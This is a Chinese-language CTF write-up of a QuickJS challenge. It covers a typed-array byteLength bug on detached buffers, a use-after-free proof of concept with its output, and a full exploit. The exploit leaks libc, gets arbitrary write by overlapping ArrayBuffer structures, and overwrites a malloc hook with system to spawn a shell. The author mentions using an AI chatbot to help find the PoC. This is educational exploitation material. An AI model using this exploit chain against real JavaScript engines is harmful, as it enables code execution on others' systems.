分析
bindiff 发现js_typed_array_get_byteLength之类的函数变了,忽略了detached状态
调教ai(https://claude.ai/share/e114a002-2c59-42ca-8376-cb4556b317a2)
筛选得到一个可用的poc
let ab = new ArrayBuffer(0x100); let ta = new Uint8Array(ab); console.log("[*] Before detach:"); console.log(" byteLength =", ta.byteLength); // 应该是 256 Math.min(ta); // Detach ArrayBuffer (如果环境支持) try { // 某些环境可以通过transferToFixedLength或postMessage detach // 这里尝试通过ArrayBuffer.transfer (新API) if (typeof ab.transfer === 'function') { ab.transfer(); } else if (typeof ab.transferToFixedLength === 'function') { ab.transferToFixedLength(); } } catch(e) { console.log("[-] Detach method not available:", e.message); } console.log("\n[*] After detach attempt:"); let len = ta.byteLength; console.log(" byteLength =", len); // 漏洞: 应该抛异常但返回了0 if (len === 0) { console.log("[!] VULNERABLE: byteLength is 0 without exception!"); ta[0] = 0x41; // 触发UAF ta[1] = 0x42; console.log(ta.byteLength); for(let i = 0; i < 20; i++) { console.log(" ta[" + i + "] =", ta[i].toString(16)); } }
调试发现触发了uaf,可读写空闲chunk
➜ bin ./qjs backup/tttt.js [*] Before detach: byteLength = 256 [*] After detach attempt: byteLength = 0 [!] VULNERABLE: byteLength is 0 without exception! 0 ta[0] = 41 ta[1] = 42 ta[2] = 37 ta[3] = 1d ta[4] = 6 ta[5] = 0 ta[6] = 0 ta[7] = 0 ta[8] = 3 ta[9] = 89 ta[10] = 78 ta[11] = 66 ta[12] = e5 ta[13] = f3 ta[14] = 4c ta[15] = 27 ta[16] = 0 ta[17] = 0 ta[18] = 0 ta[19] = 0
构造0x600堆块uaf直接泄漏libc基址
构造多个0x40 chunk,通过uaf占位到arraybuffer结构体,修改其中指向操作内存的指针,并重新创建一个typedarray实现任意地址写
最后索引到堆上存储的JSMallocFunctions结构,修改其中js_def_malloc为system地址,并在其+0x20处布置binsh参数,申请内存时触发调用getshell
exp
function del(ab){ // Detach ArrayBuffer (如果环境支持) try { // 某些环境可以通过transferToFixedLength或postMessage detach // 这里尝试通过ArrayBuffer.transfer (新API) if (typeof ab.transfer === 'function') { ab.transfer(); } else if (typeof ab.transferToFixedLength === 'function') { ab.transferToFixedLength(); } } catch(e) { } } const a = []; for (let i = 0; i < 0x10000; i++) { let abn = new ArrayBuffer(0x600); let tan = new BigUint64Array(abn); a.push(tan); } let ab1 = new ArrayBuffer(0x600); let ta1 = new BigUint64Array(ab1); del(ab1); let len = ta1.byteLength; let libc_base = 0n; // 懒得调偏移了这里必须这么长 const leak_addr = ta1[0]; libc_base = leak_addr - 0x203b20n; let ablist = []; let talist = []; const cnt = 6; for (let i = 0; i < cnt; i++) { let abn = new ArrayBuffer(0x30); let tan = new BigUint64Array(abn); ablist.push(abn); talist.push(tan); } for (let i = 0; i < cnt; i++) { del(ablist[i]); } Math.min(1,2); let ablist2 = []; let talist2 = []; for (let i = 0; i < cnt; i++) { let abn = new ArrayBuffer(0x100); let tan = new BigUint64Array(abn); tan[0] = 0x4141414141414141n+BigInt(i); ablist2.push(abn); talist2.push(tan); } for (let i = 0; i < cnt; i++) { console.log("[*] talist["+i+"][2]: 0x" + talist[i][2].toString(16)); } let heap_ptr = talist[4][2]; let control_addr = talist[4]; let js_malloc_ptr = heap_ptr-0x791e8e0n-0xb0n; control_addr[2] = js_malloc_ptr; let control_addr_ct = new BigUint64Array(ablist2[1]); console.log("[*] heap_ptr: 0x" + heap_ptr.toString(16)); console.log("[*] js_malloc_ptr: 0x" + js_malloc_ptr.toString(16)); control_addr_ct[4]=0x0068732f6e69622fn; control_addr_ct[0]=libc_base+0x58750n; Math.min(1,2); new ArrayBuffer(0x100);
reference
https://maplebacon.org/2024/05/sdctf-slowjspp/ https://chovid99.github.io/posts/asis-ctf-finals-2023/#gaining-rce https://a1ex.online/2021/09/27/TCTF-final-Promise-JSpwn%E9%A2%98%E8%A7%A3/ https://xz.aliyun.com/news/6534#toc-0